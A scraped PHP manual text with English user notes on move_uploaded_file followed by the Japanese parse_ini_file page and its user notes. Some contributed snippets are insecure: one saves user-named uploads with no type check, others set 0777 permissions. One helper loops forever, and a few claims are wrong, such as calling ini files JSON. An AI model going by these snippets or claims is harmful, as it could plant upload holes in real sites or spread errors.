When you use move_uploaded_file function to upload a file with utf-8  filename to linux system, you probably check your result by browsing to see the file in the target directory so please make sure that your terminal emulator or your samba configuration is set the character encoding to utf-8 otherwise  your file will be shown as ?????? (unreadable character).
brentwientjes at NOSPAM dot comast dot net 18-Oct-2009 12:21
I have looked at a lot of the file upload code listed below and other php documentation and have developed hopefully a robust single file upload routine.  I will later update with a multi file upload.  I have modestly tested the code.

<?php
//  5MB maximum file size
$MAXIMUM_FILESIZE = 5 * 1024 * 1024;
//  Valid file extensions (images, word, excel, powerpoint)
$rEFileTypes =
  "/^\.(jpg|jpeg|gif|png|doc|docx|txt|rtf|pdf|xls|xlsx|
        ppt|pptx){1}$/i";
$dir_base = "/your/file/location/";

$isFile = is_uploaded_file($_FILES['Filedata']['tmp_name']);
if ($isFile)    //  do we have a file?
   {//  sanatize file name
    //     - remove extra spaces/convert to _,
    //     - remove non 0-9a-Z._- characters,
    //     - remove leading/trailing spaces
    //  check if under 5MB,
    //  check file extension for legal file types
    $safe_filename = preg_replace(
                     array("/\s+/", "/[^-\.\w]+/"),
                     array("_", ""),
                     trim($_FILES['Filedata']['name']));
    if ($_FILES['Filedata']['size'] <= $MAXIMUM_FILESIZE &&
        preg_match($rEFileTypes, strrchr($safe_filename, '.')))
      {$isMove = move_uploaded_file (
                 $_FILES['Filedata']['tmp_name'],
                 $dir_base.$safe_filename);}
      }
   }
?>

I use $isFile and $isMove later in the code for error recording.

Make sure your system has the appropriate file loading limits. This caused a lot of headeaches trying to figure out why some files loaded and some did not.   In my case I have an .htaccess file in the root of the web site with:

php_value post_max_size 16M
php_value upload_max_filesize 6M

You may also need to extend the execution time depending upon the amount of data being transferred.

(sorry if spacing of code is a little off.  it was hard to make the note editor like the code style.)
Dan Delaney 13-Oct-2008 01:41
For those using PHP on Windows and IIS, you SHOULD set the "upload_tmp_dir" value in php.ini to some directory around where your websites directory is, create that directory, and then set the same permissions on it that you have set for your websites directory. Otherwise, when you upload a file and it goes into C:\WINDOWS\Temp, then you move it to your website directory, its permissions will NOT be set correctly. This will cause you problems if you then want to manipulate that file with something like ImageMagick's convert utility.
Mark Kazemier 27-Aug-2008 09:36
I have the same problem as the person two comments below me. When I use the move_uploaded_file function the permissions for the file are set to 0600. No matter what configurations you set.

I searched the internet and I found more people with the same problems, but no solutions. I set the umask of apache to 013 and still the files were set to 0600.

The copy function solves the problem. Another way to solve this problem is using the chmod function after uploading.
agan0052 at hotmail dot com 23-Aug-2008 12:22
<?php

if(isset($_FILES['uploaded'])){
$target = "galleries/".basename($_FILES['uploaded']['name']) ;
print_r($_FILES);

if(move_uploaded_file($_FILES['uploaded']['tmp_name'],$target)) echo "OK!";//$chmod o+rw galleries

}
else{
 echo "<form enctype='multipart/form-data' action='CodeTool.php' method='POST'>";
 echo "File:<input name='uploaded' type='file'/><input type='submit' value='Upload'/>";
 echo "</form>";
}

?>
Florian S. in H. an der E. [.de] 17-Aug-2008 02:02
move_uploaded_file (on my setup) always makes files 0600 ("rw- --- ---") and owned by the user running the webserver (owner AND group).
Even though the directory has a sticky bit set to the group permissions!
I couldn't find any settings to change this via php.ini or even using "umask()".

I want my regular user on the server to be able to "tar cjf" the directory .. which would fail on files totally owned by the webserver-process-user;
the "copy(from, to)" function obeys the sticky-bit though!
jphansen at uga dot edu 26-Mar-2008 07:41
I was getting error code 1 (http://www.php.net/manual/en/features.file-upload.errors.php), indicating that the file exceeded upload_max_filesize. To fix this, run <?php ini_set("upload_max_filesize", "100M"); ?> (then restart apache) changing the second argument to your limit.
iim dot vxk at gmail dot com 07-Sep-2007 02:38
when you get this 2 Warnings - paths are a real sample - ::

-
move_uploaded_file(/uploads/images/sample.png) [function.move-uploaded-file]: failed to open stream: No such file or directory in /scripts/php/system/upload-file.php on line X
-

and

-
move_uploaded_file() [function.move-uploaded-file]: Unable to move '/tmp/somefilename' to '/uploads/images/sample.png' in /scripts/php/system/upload-file.php on line X
-

probably the path '/uploads/images/sample.png' is incomplete, in my case the complet path is "/home/x-user/public_html/uploads/images/sample.png"

you can use getcwd() to know the current working directory.

:)
nlgordon at iastate dot edu 16-Jul-2007 11:29
Just a helpful comment.  If you have open_basedir set then you must set upload_tmp_dir to somewhere within the open_basedir.  Otherwise the file upload will be denied.  move_uploaded_file might be open_basedir aware, but the rest of the upload process isn't.
bogusred 10-Jun-2007 01:58
If you have a directory in a *nix environment where you store all of your file uploads and your php script only seems to work when permissions for that directory are set to 777, here's how to fix it so that you can have the security benefits of 755 while still allowing your php scripts to work, including the move_uploaded_file().

through shell access, navigate to the directory that contains your uploads folder and run the following 2 commands:
chown -R nobody uploaddir
chmod -R 755 uploaddir

Replace 'uploaddir' with the name of your uploads directory. The first command changes the owner of the directory and files to 'nobody' which is what php operates under. The second changes the folder and files to only allow user access to writing. This is much more secure.

Hopefully this will help someone out there who had the same problem as me.
masahigo at gmail dot com 30-May-2007 08:49
I found a great resource concerning uploads with PHP:

http://www.radinks.com/upload/config.php

They explain and tell how to optimize PHP installation to handle large file uploads. Helped me a lot!
info at arpadh dot hu 04-May-2007 11:02
Values upload_max_filesize and post_max_size (ie. php.ini values) cannot be modified in runtime with ini_set() function.
If you are using Apache web server, use .htaccess files with an IfModule replacing values corresponding to your file size and PHP version:

<IfModule mod_php4.c>
php_value upload_max_filesize 50M
php_value post_max_size 50M
</IfModule>

- means 50MB upload limit.
booc0mtaco at gmail dot com 19-Apr-2007 08:45
Also, make sure that the setting for the post_max_size allows for a proper file size range.

post_max_size = 128M ; Expands the size of POST data for file uploads
guy at neonxero dot net 22-Mar-2007 07:47
I could be wrong, but I usualy use

$uploadext = strtolower(strrchr($imagename,"."));

to find the file extension when uploading, as opposed to explode().
Harmor 06-Mar-2007 09:38
the dot only dot storm at gmail dot com wrote:
>
> In addition to the file extension checking. A simply way
> of getting the extension (regardless of size):
>
> $efilename = explode('.', $filename);
> $ext = $efilename[count($efilename) - 1];
>

How about:

$ext = end(explode('.',$filename));
03-Feb-2007 07:32
If you find that large files do not upload in PHP even though you've changed the max_upload_size , this is because you need to change the max memory size varible too. The entire file is loaded into memory before it is saved to disk.
shacker at birdhouse dot org 10-Sep-2006 12:28
If you're dealing with files uploaded through some external FTP source and need to move them to a final destination, searching php.net for "mv" or "move" won't get you what you want. You want the rename() function.

http://www.php.net/manual/en/function.rename.php

(move_uploaded_file() won't work, since the POST vars won't be present.)
Rob Szarka 22-Aug-2006 06:18
Apparently the warning above might better be written "If the destination file already exists, it will be overwritten ... regardless of the destination file's permissions."

In other words, move_uploaded_file() executes as if it's root, not the user under which the web server is operating or the owner of the script that's executing.
sergeygrinev at mail dot ru 20-Apr-2006 02:04
small typo:

$fulldest = $dest.$newfilename;

show be

$fulldest = $dest.$filename;

or you would have infinite loop.
Zarel 13-Apr-2006 06:12
nouncad at mayetlite dot com posted a function that uploaded a file, and would rename it if it already existed, to filename[n].ext

It only worked for files with extensions exactly three letters long, so I fixed that (and made a few other improvements while I was at it).

<?php
// Usage: uploadfile($_FILE['file']['name'],'temp/',$_FILE['file']['tmp_name'])
function uploadfile($origin, $dest, $tmp_name)
{
  $origin = strtolower(basename($origin));
  $fulldest = $dest.$origin;
  $filename = $origin;
  for ($i=1; file_exists($fulldest); $i++)
  {
    $fileext = (strpos($origin,'.')===false?'':'.'.substr(strrchr($origin, "."), 1));
    $filename = substr($origin, 0, strlen($origin)-strlen($fileext)).'['.$i.']'.$fileext;
    $fulldest = $dest.$newfilename;
  }

  if (move_uploaded_file($tmp_name, $fulldest))
    return $filename;
  return false;
}
?>
j dot m dot thomas at NOSPAM dot blueyonder dot co dot uk 16-Feb-2006 12:26
To retrieve the file extension, and various other information about the path, it is easiest to use the pathinfo function.

<?php
$path_parts = pathinfo('/www/htdocs/index.html');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
?>

Would produce:

/www/htdocs
index.html
html

http://uk.php.net/manual/en/function.pathinfo.php
mancow at macfilez dot net 09-Jan-2006 09:31
To nouncad at mayetlite dot com,

That function will work fine for files with a 3-character file extension.  However, it is worth noting that there are valid, registered file extensions that are longer than 3 characters.  For example, a JPEG file can be denoted by *.jpg (and others), but it can also have *.jpeg as a valid extension.  Check out http://www.filext.com/ for a good reference of file extensions.

The best bet to me would be parsing the uploaded file's name ($_FILES['uploadedfile']['name']) based on the presence of dots.  Another wrench in the gears:  a file can have dots in the filename.  That's easy enough to handle -- just explode() the file name and hope that the last element in the array it gives you is the file extension (you can always validate it if you're so inclined).  Then just piece it together in a string accordingly by stepping through the array (don't forget to add those dots back to where they were!), appending a guaranteed unique string of characters (or enumerate it like you were doing, keeping track via a loop), and finally tacking on the file extension.

You may have other mechanisms for verifying a file's extension, such as a preg_match on the whole name, using something like "/\\.(gif|jpg|jpeg|png|bmp)$/i" (more can, of course, be added if you so desire) for the most common types of images found on the web.

For blindly guaranteeing an uploaded file will be uniquely named, this seems like a fantastic way to go.  Enjoy!
ineedmynetwork.com 07-Nov-2005 01:27
Microsoft returns image/pjpeg not image/jpg when using $_FILES['imageName']['type'];
jest3r at mtonic dot net 19-Oct-2005 09:10
It seems that move_uploaded_file use the GROUP permissions of the parent directory of the tmp file location, whereas a simple "copy" uses the group of the apache process. This could create a security nighmare if your tmp file location is owned by root:wheel
mikelone 06-Sep-2005 08:46
If the user try to upload a too bigger file then the upload procedure will fail even if u have established an error message.
How to avoid this problem? there's my solution:

(max_file_size = 2,50 MB)

$fsize = $_FILES["userfile"]["size"];

if($fsize == 0 || $fsize > 2621000) exit("keep the filesize under 2,50MB!!");

When the size is bigger than the MAX_FILE_SIZE field, the value of $fsize is equal to 0 (zero) ......
espiao at gmail dot com 27-Jul-2005 07:25
/**
 * This function moves the archives and directoryes of a directory of
 * origin for a directory destination being able replace them or not.
 **/

function mvdir($oldDir, $newDir, $replaceFiles = true) {

    if ($oldDir == $newDir) {
        trigger_error("Destination directory is equal of origin.");
        return false;
    }

    if (!($tmpDir = opendir($oldDir))) {
        trigger_error("It was not possible to open origin directory.");
        return false;
    }

    if (!is_dir($newDir)) {
        trigger_error("It was not possible to open destination directory.");
        return false;
    }

    while (($file = readdir($tmpDir)) !== false) {

        if (($file != ".") && ($file !== "..")) {

            $oldFileWithDir = $oldDir . $file;
            $newFileWithDir = $newDir . $file;

            if (is_dir($oldFileWithDir)) {

                @mkdir($newFileWithDir."/", 0777);
                @mvdir($oldFileWithDir."/", $newFileWithDir."/", $replaceFiles);
                @rmdir($oldFileWithDir);

            }
            else {
                if (file_exists($newFileWithDir)) {
                    if (!$replaceFiles) {

                        @unlink($oldFileWithDir);
                        continue;

                    }
                }

                @unlink($newFileWithDir);
                @copy($oldFileWithDir, $newFileWithDir);
                @chmod($newFileWithDir, 0777);
                @unlink($oldFileWithDir);

            }
        }
    }

    return true;

}

/**
 * This is an example of move with replace files on destination folder if
 * exists files with the same names on destionatio folder
 **/
mvdir("/var/www/example/", "/var/www/other_folder/");

/**
 * This is an example of move without replace files on destination
 * folder if  exists files with the same names on destionatio folder
 **/
mvdir("/var/www/example/", "/var/www/other_folder/", false);
Michel S 16-Feb-2005 09:41
I once had a problem with this function. File was uploaded correctly, but I still had to chmod the file afterwards. It could not be used otherwise.

Michel S
sauron at nospam on morannon dot org 08-Mar-2004 05:20
An extension only does not really tell you what type of file it really is. I can easily rename a .jpg file to a .zip file and make the server think it is a ZIP file with webmaster kobrasrealm's code.

A better way is to use the Linux utility "file" to determine the file type. Although I'm aware that some users might use Windows on their webservers, I thought it's worth  mentioning the utility here. Using the backtick operators and preg_matches on the output, you can easily determine the file type safely, and fix the extension when necessary.


設定ファイルをパースする

  • ≪ move_uploaded_file
  • parse_ini_string ≫
  • PHP Manual
  • ファイルシステム 関数
  • 設定ファイルをパースする

parse_ini_file

(PHP 4, PHP 5, PHP 7, PHP 8)

parse_ini_file — 設定ファイルをパースする

説明

parse_ini_file ( string $filename , bool $process_sections = false , int $scanner_mode = INI_SCANNER_NORMAL ) : array|false

parse_ini_file() は、 filename で指定した ini ファイルをロードし、 連想配列としてその設定値を返します。

ini ファイルの構造は、php.ini の構造と同じです。

パラメータ

filename

パースしたい ini ファイルのファイル名。 相対パスが指定された場合、 現在のディレクトリから相対的な位置として評価され、 さらに include_path からファイルを探します。

process_sections

process_sections パラメータに true を設定すると、セクション名と設定が含まれた多次元の配列を得ることができます。 デフォルトでは、process_sections は false です。

scanner_mode

INI_SCANNER_NORMAL (デフォルト) あるいは INI_SCANNER_RAW。INI_SCANNER_RAW を指定すると、オプションの値はパースされません。

PHP 5.6.1 以降では INI_SCANNER_TYPED も指定できるようになりました。 このモードでは、boolean や null そして integer の型を、可能な限り維持します。 文字列 "true"、"on" そして "yes" は true に変換されます。"false"、"off"、"no" そして "none" は false だとみなされます。このモードでは、"null" は null に変換されます。また数値形式の文字列も、可能な限り integer 型に変換されます。

返り値

成功した場合に設定を連想配列形式で返します。 失敗した場合に false を返します。

例

例1 sample.ini の内容

; これは設定ファイルのサンプルです。
; php.ini と同様、';' で始まる行はコメントです。

[first_section]
one = 1
five = 5
animal = BIRD

[second_section]
path = "/usr/local/bin"
URL = "http://www.example.com/~username"

[third_section]
phpversion[] = "5.0"
phpversion[] = "5.1"
phpversion[] = "5.2"
phpversion[] = "5.3"

urls[svn] = "http://svn.php.net"
urls[git] = "http://git.php.net"

例2 parse_ini_file() の例

定数 (但し __FILE__ のような "マジック定数" は除く) も ini ファイル上でパースされます。 そのため、parse_ini_file() をコールする前に ini ファイル上の値として定数を定義した場合、返り値に統合されます。 ini ファイル上の値だけが評価されます。この値は定数でなければなりません。以下は例です：

<?php

define('BIRD', 'Dodo bird');

// セクションを無視してパースします。
$ini_array = parse_ini_file("sample.ini");
print_r($ini_array);

// セクションを意識してパースします。
$ini_array = parse_ini_file("sample.ini", true);
print_r($ini_array);

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [one] => 1
    [five] => 5
    [animal] => Dodo bird
    [path] => /usr/local/bin
    [URL] => http://www.example.com/~username
    [phpversion] => Array
        (
            [0] => 5.0
            [1] => 5.1
            [2] => 5.2
            [3] => 5.3
        )

    [urls] => Array
        (
            [svn] => http://svn.php.net
            [git] => http://git.php.net
        )

)
Array
(
    [first_section] => Array
        (
            [one] => 1
            [five] => 5
            [animal] => Dodo bird
        )

    [second_section] => Array
        (
            [path] => /usr/local/bin
            [URL] => http://www.example.com/~username
        )

    [third_section] => Array
        (
            [phpversion] => Array
                (
                    [0] => 5.0
                    [1] => 5.1
                    [2] => 5.2
                    [3] => 5.3
                )

            [urls] => Array
                (
                    [svn] => http://svn.php.net
                    [git] => http://git.php.net
                )

        )

)

例3 parse_ini_file() による php.ini ファイルのパース

<?php
// 以下の結果を比較するための簡単な関数
function yesno($expression)
{
    return($expression ? 'Yes' : 'No');
}

// php.ini へのパスを the php_ini_loaded_file() 関数で取得します
// この関数は PHP 5.2.4 以降で使用可能です
$ini_path = php_ini_loaded_file();

// php.ini をパースします
$ini = parse_ini_file($ini_path);

// 結果を表示して比較します。get_cfg_var() を使用すると、
// ここでパースして読み込んだのと同じ結果が得られることに注意しましょう
echo '(parsed) magic_quotes_gpc = ' . yesno($ini['magic_quotes_gpc']) . PHP_EOL;
echo '(loaded) magic_quotes_gpc = ' . yesno(get_cfg_var('magic_quotes_gpc')) . PHP_EOL;
?>

上の例の出力は、 たとえば以下のようになります。

(parsed) magic_quotes_gpc = Yes
(loaded) magic_quotes_gpc = Yes

例4 ini ファイルの値の補完

定数を評価することに加えて、文字によっては ini ファイルの値として特別な意味を持つものがあります。 さらに、環境変数や以前定義された値は ${} を使って読み取ることができます。

; | は ビット演算の OR
is used for bitwise OR
three = 2|3

; & は ビット演算の AND
four = 6&5

; ^ は ビット演算の XOR
five = 3^6

; ~ は ビット演算の NOT
negative_two = ~1

; () はグループ化に使います
seven = (8|7)&(6|5)

; \ は値のエスケープに使います
newline_is = "\\n" ; results in the string "\n", not a newline character.
with quotes = "She said \"Exactly my point\"." ; Results in a string with quote marks in it.

path = ${PATH}
also_five = ${five}

上の例の出力は、 たとえば以下のようになります。

(parsed) magic_quotes_gpc = Yes
(loaded) magic_quotes_gpc = Yes

注意

注意:

この関数は、php.ini ファイルには何もしません。 このファイルはスクリプトを実行している時には既に処理されています。 この関数は、アプリケーション個有の設定ファイルを読み込む際に使用可能です。

注意:

ini ファイル上の値に英数字ではないものがある場合、 ダブルクォート(")で囲う必要があります。

注意: ini ファイル上でキーとして使ってはいけない単語があります。 null, yes, no, true, false, on, off, none などです。 null, off, no および false は "" となり、 on, yes および true は "1" となります。 ただし、INI_SCANNER_TYPED モードを使っている場合 (PHP 5.6.1 以降) は別です。 次の文字 ?{}|&~!()^" は、キーで使ってはいけません。 また、値の中で特別な意味を持ちます。

注意:

等号が含まれないエントリは無視されます。 つまり、"foo" というエントリは無視されますが、 "bar =" は、空の値を持つエントリとして追加されます。 たとえば MySQL の my.cnf には "no-auto-rehash" という設定項目がありますが、この項目には何も値を設定しません。 そのため、この項目は無視されます。

注意:

ini ファイルは、一般的にWebサーバからはプレーンテキストとして扱われます。 よって、ini ファイルにリクエストがあった場合、ブラウザにそのまま表示されます。 これは、セキュリティを考慮すると、 ini ファイルはドキュメントルートの外側に置くか、 Webサーバがそれを返さないように設定を変更しなければならないということです。 そうしないと、セキュリティ上のリスクが発生する可能性があります。

参考

  • parse_ini_string() - 設定文字列をパースする

User Contributed Notes

Rubn Martnez 15-Jul-2018 01:06
The parse_ini_file function does have trouble loading valid Windows ini files like, for example, nternet shortcuts (.url files).

This is due to the function reading the URLs as a value, and failing when it finds that valid URL characters like '=' appear unescaped or the value unquoted as a whole. Since Windows does not escape them anyway, the solution is to scan it in raw mode, where it will read unparsed the value after the first '='. Since = only appears in URLs with parameters, this mistake may is not be obvious at a first glance.

An example

<?php

$links = array();

// ...

$files = scandir($directory);
foreach( $files as $filename )
{
    if (strToLower(pathinfo($filename, PATHINFO_EXTENSION)) === 'url')
    {
        $shortcut = parse_ini_file( $directory.DIRECTORY_SEPARATOR.$filename, true,  INI_SCANNER_RAW);
        if ($shortcut === false) die('Syntax Error');
        $url = $shortcut['InternetShortcut']['URL'];
        $links []= $url;
    }
}

?>
info () gaj ! design 16-Dec-2016 02:26
Not mentioned in the documentation, this function acts like include:

"Files are included based on the file path given or, if none is given, the include_path specified. If the file isn't found in the include_path, include will finally check in the calling script's own directory and the current working directory before failing."

(At least for PHP 7; have not checked PHP 5.)
YAPs 03-Jul-2016 08:49
This function for save ini files

<?php
function array_to_ini($array,$out="")
{
    $t="";
    $q=false;
    foreach($array as $c=>$d)
    {
        if(is_array($d))$t.=array_to_ini($d,$c);
        else
        {
            if($c===intval($c))
            {
                if(!empty($out))
                {
                    $t.="\r\n".$out." = \"".$d."\"";
                    if($q!=2)$q=true;
                }
                else $t.="\r\n".$d;
            }
            else
            {
                $t.="\r\n".$c." = \"".$d."\"";
                $q=2;
            }
        }
    }
    if($q!=true && !empty($out)) return "[".$out."]\r\n".$t;
    if(!empty($out)) return  $t;
    return trim($t);
}

function save_ini_file($array,$file)
{
    $a=array_to_ini($array);
    $ffl=fopen($file,"w");
    fwrite($ffl,$a);
    fclose($ffl);
}
?>
dschnepper at box dot com 09-Mar-2016 09:21
The documentation states:
Characters ?{}|&~!()^" must not be used anywhere in the key and have a special meaning in the value.

Here's the results of my experiments on what they mean:

; | is used for bitwise OR
three = 2|3

; & is used for bitwise AND
four = 6&5

; ^ is used for bitwise XOR
five = 3^6

; ~ is used for bitwise negate
negative_two = ~1

; () is used for grouping
seven = (8|7)&(6|5)

; ${...} is used for grabbing values from the environment, or previously defined values.
path = ${PATH}
also = ${five}

; ? I have no guess for
; ! I have no guess for
jbricci at ya-right dot com 15-Oct-2015 06:39
This core function won't handle ini key[][] = value(s), (multidimensional arrays), so if you need to support that kind of setup you will need to write your own function. one way to do it is to convert all the key = value(s) to array string [key][][]=value(s), then use parse_str() to convert all those [key][][]=value(s) that way you just read the ini file line by line, instead of doing crazy foreach() loops to handle those (multidimensional arrays) in each section, example...

ini file...... config.php

<?php

; This is a sample configuration file
; Comments start with ';', as in php.ini

[first_section]
one = 1
five = 5
animal = BIRD

[second_section]
path = "/usr/local/bin"
URL = "http://www.example.com/~username"

[third_section]
phpversion[] = "5.0"
phpversion[] = "5.1"
phpversion[] = "5.2"
phpversion[] = "5.3"

urls[svn] = "http://svn.php.net"
urls[git] = "http://git.php.net"

[fourth_section]

a[][][] = b
a[][][][] = c
a[test_test][][] = d
test[one][two][three] = true

?>

echo parse_ini_file ( "C:\\services\\www\\docs\\config.php" );

results in...

// PHP Warning:  syntax error, unexpected TC_SECTION, expecting '=' line 27 -> a[][][] = b

Here it simple function that handles (multidimensional arrays) without looping each key[][]= value(s)

<?php

function getIni ( $file, $sections = FALSE )
{
    $return = array ();

    $keeper = array ();

    $config = fopen ( $file, 'r' );

    while ( ! feof ( $config ) )
    {
        $line = trim ( fgets ( $config, 1024 ) );

        $line = ( $line == '' ) ? ' ' : $line;

        switch ( $line{0} )
        {
            case ' ':
            case '#':
            case '/':
            case ';':
            case '<':
            case '?':

            break;

            case '[':

            if ( $sections )
            {
                $header = 'config[' . trim ( substr ( $line, 1, -1 ) ) . ']';
            }
            else
            {
                $header = 'config';
            }

            break;

            default:

            $kv = array_map ( 'trim', explode ( '=', $line ) );

            $kv[0] = str_replace ( ' ', '+', $kv[0] );

            $kv[1] = str_replace ( ' ', '+', $kv[1] );

            if ( ( $pos = strpos ( $kv[0], '[' ) ) !== FALSE )
            {
                $kv[0] = '[' . substr ( $kv[0], 0, $pos ) . ']' . substr ( $kv[0], $pos );
            }
            else
            {
                $kv[0] = '[' . $kv[0] . ']';
            }

            $bt = strtolower ( $kv[1] );

            if ( in_array ( $bt, array ( 'true', 'false', 'on', 'off' ) ) )
            {
                $kv[1] = ( $bt == 'true' || $bt == 'on' ) ? TRUE : FALSE;
            }

            $keeper[] = $header . $kv[0] . '=' . $kv[1];
        }
    }

    fclose ( $config );

    parse_str ( implode ( '&', $keeper ), $return );

    return $return['config'];
}

// usage...

$sections = TRUE;

print_r ( $config->getIni ( "C:\\services\\www\\docs\\config.php" ),  $sections );

?>
Rekam 13-Apr-2014 09:59
You may want, in some very special cases, to parse multi-dimensional array with N levels in your ini file. Something like setting[data][config][debug] = true will result in an error (expected "=").

Here's a little function to match this, using dots (customizable).
<?php
function parse_ini_file_multi($file, $process_sections = false, $scanner_mode = INI_SCANNER_NORMAL) {
    $explode_str = '.';
    $escape_char = "'";
    // load ini file the normal way
    $data = parse_ini_file($file, $process_sections, $scanner_mode);
    if (!$process_sections) {
        $data = array($data);
    }
    foreach ($data as $section_key => $section) {
        // loop inside the section
        foreach ($section as $key => $value) {
            if (strpos($key, $explode_str)) {
                if (substr($key, 0, 1) !== $escape_char) {
                    // key has a dot. Explode on it, then parse each subkeys
                    // and set value at the right place thanks to references
                    $sub_keys = explode($explode_str, $key);
                    $subs =& $data[$section_key];
                    foreach ($sub_keys as $sub_key) {
                        if (!isset($subs[$sub_key])) {
                            $subs[$sub_key] = [];
                        }
                        $subs =& $subs[$sub_key];
                    }
                    // set the value at the right place
                    $subs = $value;
                    // unset the dotted key, we don't need it anymore
                    unset($data[$section_key][$key]);
                }
                // we have escaped the key, so we keep dots as they are
                else {
                    $new_key = trim($key, $escape_char);
                    $data[$section_key][$new_key] = $value;
                    unset($data[$section_key][$key]);
                }
            }
        }
    }
    if (!$process_sections) {
        $data = $data[0];
    }
    return $data;
}
?>

The following file:
<?php
/*
[normal]
foo = bar
; use quotes to keep your key as it is
'foo.with.dots' = true

[array]
foo[] = 1
foo[] = 2

[dictionary]
foo[debug] = false
foo[path] = /some/path

[multi]
foo.data.config.debug = true
foo.data.password = 123456
*/
?>

will result in:
<?php
parse_ini_file_multi('file.ini', true);

Array
(
    [normal] => Array
        (
            [foo] => bar
            [foo.with.dots] => 1
        )
    [array] => Array
        (
            [foo] => Array
                (
                    [0] => 1
                    [1] => 2
                )
        )
    [dictionary] => Array
        (
            [foo] => Array
                (
                    [debug] =>
                    [path] => /some/path
                )
        )
    [multi] => Array
        (
            [foo] => Array
                (
                    [data] => Array
                        (
                            [config] => Array
                                (
                                    [debug] => 1
                                )
                            [password] => 123456
                        )
                )
        )
)
?>
simon dot riget at gmail dot com 21-Feb-2013 07:23
.ini files or JSON file format as it is also known as, are very useful format to store stuff in. Especially large arrays.

Strangely enough there is this nice function to read the file, but no function to write it.

So here is one.

Use it as:  put_ini_file(string $file, array $array)

<?php
function put_ini_file($file, $array, $i = 0){
  $str="";
  foreach ($array as $k => $v){
    if (is_array($v)){
      $str.=str_repeat(" ",$i*2)."[$k]".PHP_EOL;
      $str.=put_ini_file("",$v, $i+1);
    }else
      $str.=str_repeat(" ",$i*2)."$k = $v".PHP_EOL;
  }
 if($file)
    return file_put_contents($file,$str);
  else
    return $str;
}
?>
jeremygiberson at gmail dot com 30-Apr-2009 04:01
Here is a quick parse_ini_file wrapper to add extend support to save typing and redundancy.
<?php
    /**
     * Parses INI file adding extends functionality via ":base" postfix on namespace.
     *
     * @param string $filename
     * @return array
     */
    function parse_ini_file_extended($filename) {
        $p_ini = parse_ini_file($filename, true);
        $config = array();
        foreach($p_ini as $namespace => $properties){
            list($name, $extends) = explode(':', $namespace);
            $name = trim($name);
            $extends = trim($extends);
            // create namespace if necessary
            if(!isset($config[$name])) $config[$name] = array();
            // inherit base namespace
            if(isset($p_ini[$extends])){
                foreach($p_ini[$extends] as $prop => $val)
                    $config[$name][$prop] = $val;
            }
            // overwrite / set current namespace values
            foreach($properties as $prop => $val)
            $config[$name][$prop] = $val;
        }
        return $config;
    }
?>

Treats this ini:
<?php
/*
[base]
host=localhost
user=testuser
pass=testpass
database=default

[users:base]
database=users

[archive : base]
database=archive
*/
?>
As if it were like this:
<?php
/*
[base]
host=localhost
user=testuser
pass=testpass
database=default

[users:base]
host=localhost
user=testuser
pass=testpass
database=users

[archive : base]
host=localhost
user=testuser
pass=testpass
database=archive
*/
?>
goulven.ch AT gmail DOT com 29-Oct-2007 06:33
Warning: parse_ini_files cannot cope with values containing the equal sign (=).

The following function supports sections, comments, arrays, and key-value pairs outside of any section.
Beware that similar keys will overwrite one another (unless in different sections).

<?php
function parse_ini ( $filepath ) {
    $ini = file( $filepath );
    if ( count( $ini ) == 0 ) { return array(); }
    $sections = array();
    $values = array();
    $globals = array();
    $i = 0;
    foreach( $ini as $line ){
        $line = trim( $line );
        // Comments
        if ( $line == '' || $line{0} == ';' ) { continue; }
        // Sections
        if ( $line{0} == '[' ) {
            $sections[] = substr( $line, 1, -1 );
            $i++;
            continue;
        }
        // Key-value pair
        list( $key, $value ) = explode( '=', $line, 2 );
        $key = trim( $key );
        $value = trim( $value );
        if ( $i == 0 ) {
            // Array values
            if ( substr( $line, -1, 2 ) == '[]' ) {
                $globals[ $key ][] = $value;
            } else {
                $globals[ $key ] = $value;
            }
        } else {
            // Array values
            if ( substr( $line, -1, 2 ) == '[]' ) {
                $values[ $i - 1 ][ $key ][] = $value;
            } else {
                $values[ $i - 1 ][ $key ] = $value;
            }
        }
    }
    for( $j=0; $j<$i; $j++ ) {
        $result[ $sections[ $j ] ] = $values[ $j ];
    }
    return $result + $globals;
}
?>

Example usage:
<?php
$stores = parse_ini('stores.ini');
print_r( $stores );
?>

An example ini file:
<?php
/*
;Commented line start with ';'
global_value1 = a string value
global_value1 = another string value

; empty lines are discarded
[Section1]
key = value
; whitespace around keys and values is discarded too
otherkey=other value
otherkey=yet another value
; this key-value pair will overwrite the former.
*/
?>
www.onphp5.com 24-Oct-2007 01:26
Looks like in PHP 5.3.0 special characters like \n are extrapolated into real newlines. Gotta use \\n.
yarco dot w at gmail dot com 29-Jun-2007 01:46
parse_ini_file can't deal with const which cancate a string. For example, if test.ini file is

classPath = ROOT/lib

If you:
<?php
define('ROOT', dirname(__FILE__));

$buf = parse_ini_file('test.ini');
?>

const ROOT would't be parsed.

But my version could work find.

<?php
// array parse_ini_file ( string $filename [, bool $process_sections] )
function parse_ini($filename, $process_sections = false)
{
  function replace_process(& $item, $key, $consts)
  {
    $item = str_replace(array_keys($consts), array_values($consts), $item);
  }

  $buf = get_defined_constants(true); // PHP version > 5.0
  $consts = $buf['user'];
  $ini = parse_ini_file($filename, $process_sections);

  array_walk_recursive($ini, 'replace_process', $consts);
  return $ini;
}

define('ROOT', '/test');
print_r(parse_ini(dirname(__FILE__).'/test.ini'));

?>
Justin Hall 31-Oct-2006 11:46
This is a simple (but slightly hackish) way of avoiding the character limitations (in values):

<?php
define('QUOTE', '"');
$test = parse_ini_file('test.ini');

echo "<pre>";
print_r($test);
?>

contents of test.ini:

park yesterday = "I (walked) | {to} " QUOTE"the"QUOTE " park yesterday & saw ~three~ dogs!"

output:

<?php
Array
(
    [park yesterday] => I (walked) | {to} "the" park yesterday & saw ~three~ dogs!
)
?>
dimk at pisem dot net 13-Jul-2005 09:33
Class to access ini values at format "section_name.property", for example $myconf->get("system.name") returns a property "name" in section "system":

<?php
class Settings {

var $properties = array();

    function Settings() {
        $this->properties = parse_ini_file(_SETTINGS_FILE, true);
    }

    function get($name) {
        if(strpos($name, ".")) {
            list($section_name, $property) = explode(".", $name);
            $section =& $this->properties[$section_name];
            $name = $property;
        } else {
            $section =& $properties;
        }

        if(is_array($section) && isset($section[$name])) {
            return $section[$name];
        }
        return false;
    }

}
?>
waikeatNOSPAM at archerlogic dot com 09-Nov-2003 06:37
I found that this function will not work on remote files.
I tried

$someArray = parse_ini_file("http://www.example.com/setting.ini");

and it reports

Cannot Open 'http://www.example.com/setting.ini' for reading ...
kieran dot huggins at rogers dot com 07-Jan-2003 10:24
Just a quick note for all those running into trouble escaping double quotes:

